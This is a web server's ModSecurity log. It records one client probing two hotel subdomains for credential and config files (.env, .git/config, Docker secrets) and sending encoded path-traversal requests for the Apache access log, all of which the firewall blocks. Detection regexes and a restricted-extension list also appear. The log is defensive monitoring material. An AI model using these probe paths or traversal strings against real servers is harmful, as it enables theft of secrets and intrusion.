[Sun Oct 25 04:06:21.018859 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at24fZ68N771hz7W4KlsOgAAAAw"]
[Sun Oct 25 04:06:21.018996 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at24fZ68N771hz7W4KlsOgAAAAw"]
[Sun Oct 25 04:06:21.019246 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at24fZ68N771hz7W4KlsOgAAAAw"]
[Sun Oct 25 04:06:21.037754 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at24fVTnwNJm6o1fQZIipwAAAAI"]
[Sun Oct 25 04:06:21.037898 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at24fVTnwNJm6o1fQZIipwAAAAI"]
[Sun Oct 25 04:06:21.038163 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at24fVTnwNJm6o1fQZIipwAAAAI"]
[Sun Oct 25 04:06:21.095729 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at24fbQKh4dfs72fmHxv6wAAAAE"]
[Sun Oct 25 04:06:21.095898 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at24fbQKh4dfs72fmHxv6wAAAAE"]
[Sun Oct 25 04:06:21.096112 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at24fbQKh4dfs72fmHxv6wAAAAE"]
[Sun Oct 25 04:06:21.102621 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at24fQLaiqtlZaJBsx4XwwAAAA0"]
[Sun Oct 25 04:06:21.102761 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at24fQLaiqtlZaJBsx4XwwAAAA0"]
[Sun Oct 25 04:06:21.103008 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at24fQLaiqtlZaJBsx4XwwAAAA0"]
[Sun Oct 25 04:06:21.185672 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "at24fZ68N771hz7W4KlsPAAAAAw"]
[Sun Oct 25 04:06:21.185799 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%5c found within REQUEST_URI_RAW: /..%5c..%5c..%5c..%5c..%5c..%5cvar/log/apache2/access.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "at24fZ68N771hz7W4KlsPAAAAAw"]
[Sun Oct 25 04:06:21.185844 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Matched phrase "..\\\\" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ..\\x5c found within REQUEST_URI: /..\\x5c..\\x5c..\\x5c..\\x5c..\\x5c..\\x5cvar/log/apache2/access.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "at24fZ68N771hz7W4KlsPAAAAAw"]
[Sun Oct 25 04:06:21.185952 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "at24fZ68N771hz7W4KlsPAAAAAw"]
[Sun Oct 25 04:06:21.186193 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "at24fZ68N771hz7W4KlsPAAAAAw"]
[Sun Oct 25 04:06:21.205396 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "at24fVTnwNJm6o1fQZIiqQAAAAI"]
[Sun Oct 25 04:06:21.205535 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%5c found within REQUEST_URI_RAW: /..%5c..%5c..%5c..%5c..%5c..%5cvar/log/apache2/access.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "at24fVTnwNJm6o1fQZIiqQAAAAI"]
[Sun Oct 25 04:06:21.205580 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Matched phrase "..\\\\" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ..\\x5c found within REQUEST_URI: /..\\x5c..\\x5c..\\x5c..\\x5c..\\x5c..\\x5cvar/log/apache2/access.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "at24fVTnwNJm6o1fQZIiqQAAAAI"]
[Sun Oct 25 04:06:21.205747 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "at24fVTnwNJm6o1fQZIiqQAAAAI"]
[Sun Oct 25 04:06:21.206282 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "at24fVTnwNJm6o1fQZIiqQAAAAI"]
[Sun Oct 25 04:06:21.331587 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "at24fbQKh4dfs72fmHxv7gAAAAE"]
[Sun Oct 25 04:06:21.331749 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "at24fbQKh4dfs72fmHxv7gAAAAE"]
[Sun Oct 25 04:06:21.331960 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "at24fbQKh4dfs72fmHxv7gAAAAE"]
[Sun Oct 25 04:06:21.353862 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "at24fQLaiqtlZaJBsx4XxgAAAA0"]
[Sun Oct 25 04:06:21.353862 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/laravel/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "at24fZ68N771hz7W4KlsPgAAAAw"]
[Sun Oct 25 04:06:21.354066 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "at24fZ68N771hz7W4KlsPgAAAAw"]
[Sun Oct 25 04:06:21.354065 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "at24fQLaiqtlZaJBsx4XxgAAAA0"]
[Sun Oct 25 04:06:21.354365 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "at24fZ68N771hz7W4KlsPgAAAAw"]
[Sun Oct 25 04:06:21.354381 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.docker/.env"] [unique_id "at24fQLaiqtlZaJBsx4XxgAAAA0"]
[Sun Oct 25 04:06:21.373286 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.docker/laravel/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "at24fVTnwNJm6o1fQZIiqwAAAAI"]
[Sun Oct 25 04:06:21.373462 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "at24fVTnwNJm6o1fQZIiqwAAAAI"]
[Sun Oct 25 04:06:21.373777 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.docker/laravel/app/.env"] [unique_id "at24fVTnwNJm6o1fQZIiqwAAAAI"]
[Sun Oct 25 04:06:21.392442 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/.docker/secrets.json"] [unique_id "at24fYHtOs-nfC4GshpRpAAAABc"]
[Sun Oct 25 04:06:21.392492 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/.docker/secrets.json"] [unique_id "at24fYHtOs-nfC4GshpRpAAAABc"]
